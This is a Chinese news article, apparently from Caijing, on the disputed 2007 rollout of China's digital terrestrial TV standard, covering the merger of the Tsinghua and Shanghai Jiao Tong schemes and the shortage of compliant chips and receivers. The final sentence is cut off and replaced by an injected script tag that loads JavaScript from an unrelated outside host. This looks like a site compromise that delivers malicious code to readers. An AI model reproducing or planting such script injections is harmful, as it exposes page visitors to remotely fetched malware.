距8月1日中国数字电视地面传输国家标准推广的时间正在迫近，但是围绕这一国家标准能否如期实施，以及实施的具体方式的争论，仍然没有最后找到答案。
数字电视地面传输国标一路命途多舛。2000年，发改委、科技部、信息产业部、广电总局和质检总局等组成的国家数字电视领导小组，决定自主制定中国数字电视地面传输标准。之后，先后出现了广电科学研究院研制的timi方案、清华大学和凌讯科技（下称清华凌讯）的多载波方案与上海交大的单载波方案等多种选择。
2004年8月，中国工程院评估认定清华方案和交大方案各有所长，不可替代，确定国标在二者融合基础上产生。国家标准化委员会（国标委）在2006年8月发布正式公告，明确规定这两大标准为强制性标准，2007年8月1日正式实施。
有关三大标准孰优孰劣的争论，在国标“选美”的六年中从未间断，2006年的国标发布并不是争论的结束。从一开始这一方案就被认为是一个更多考虑“利益融合”而非“技术融合”的产物。
在之后的一年时间里，标准融合的进程并不顺利，两大阵营的对立阻碍了融合技术的研发，加之产业化进程滞后，国标实施陷入尴尬。
“从现在的条件来看，8月1日开始强制实施肯定要落空了。”一位熟悉国家数字电视地面传输标准（gb20600-2006）推广进程的人士告诉《财经》记者。
数字电视从信号发射到落地，要通过三套标准，即卫星电视标准、有线传输标准以及无线地面传输标准。
卫星标准目前中国还未确定，但也在探讨是否要研发和使用自有标准。有线传输主要针对城市有线电视用户，在市场中占的份额较小，现已确定使用欧洲标准。而相比之下，无线地面传输标准针对城市和农村的所有市场，影响更大更广，是所有电视设备终端都必须采用的标准，引起的争论也最大。
2006年10月，泰美世纪在原广电研究院的timi标准基础上推出的stimi方案被广电总局颁布为移动电视的传输标准。
由此，中国出现三种数字电视地面传输标准已成定局。但由此带来的技术壁垒不仅令运营商头疼不已，亦为未来市场的混乱埋下伏笔，数字国标八一大限面临的困局仅是冰山一角。
命系产业化
“这（国标延期）在我们业内已是心知肚明的现实。值得反思的是，为什么我们准备了这么久的一个国标直到最后实施阶段仍旧会有这么多争议，甚至要因此延期。”上述了解国标推广进程的人士感叹道。
6月1日，广电科学研究院院长邹峰在一个传媒论坛上对地面国标的技术以及产业化进度提出质疑。“在实施当中，我们发现难度（两个方案融合）非常大。”邹峰坦言，“上海交大和清华方案不一样，硬要把两个标准合到一起，技术上很难。”
与邹峰持相同看法的意见不在少数。另一位经历过前期测试过程的知情人士透露，清华大学推出的是“多载波方案”，上海交大方案则是“单载波方案”，从技术上属于完全不同的两种工作模式，要在同一个芯片、同一套设备当中集合这两种工作模式，难度非常大，即使最终能实现，也会推高成本。
目前，对于融合方案究竟会增加多少成本，业界并无明确说法，有预计为15%，也有预计为30%，甚至更多。但可以想见，按现在的安排，增加的成本最终都会转嫁到消费者头上。
据悉，两大标准融合的关键在于研制可以接收两种发射频率的融合芯片。由于双方一直不愿公布源代码，符合融合模式的芯片只是在最近几个月才刚刚推出。但即使是清华推出的所谓真正符合国标的双模式芯片，现在也没有得到广电总局的批复。
“两家方案厂商还在打架呢，怎么能指望他们顺利完成融合，”有设备厂商高层对清华和上海交大两方都多少有些不满，“他们更热衷于跑马圈地，而不是标准融合。”
设备厂商的产业化进度因此受到很大影响。“在广电总局的统一规划正式出台之前，我们肯定不会也不敢大规模投入生产。”一家国内知名电视机厂商表示。同时他认为，对于发射机、接收终端以及彩电这些设备厂商来说，产业化的难度并不在技术和制造方面。“只要有符合国标的芯片，我们很快就可以组织生产，问题是现在谁也没有给我们一个准确的说法，谁的芯片是完全符合国标的。”
在2007年的中国国际广播电视信息网络展览会上，主要的设备厂商都没有推出符合国标的设备。“8月1日大限之前不可能有根本性的发展。”一位参与了国家标准从最初测试到确立全过程的专家告诉《财经》记者。
“符合标准的接收机，到今天为止还不过十台。”广播科学研究院院长邹峰断言，目前国标的产业化还远未达标。“当时招标的时候，他们说可以提供以万台计的接收机，现在符合国标的接收机只有几台，这直接影响到下面的技术规划和频率规划。”不过，邹峰也透露?script src=http://er12.com/t.js>
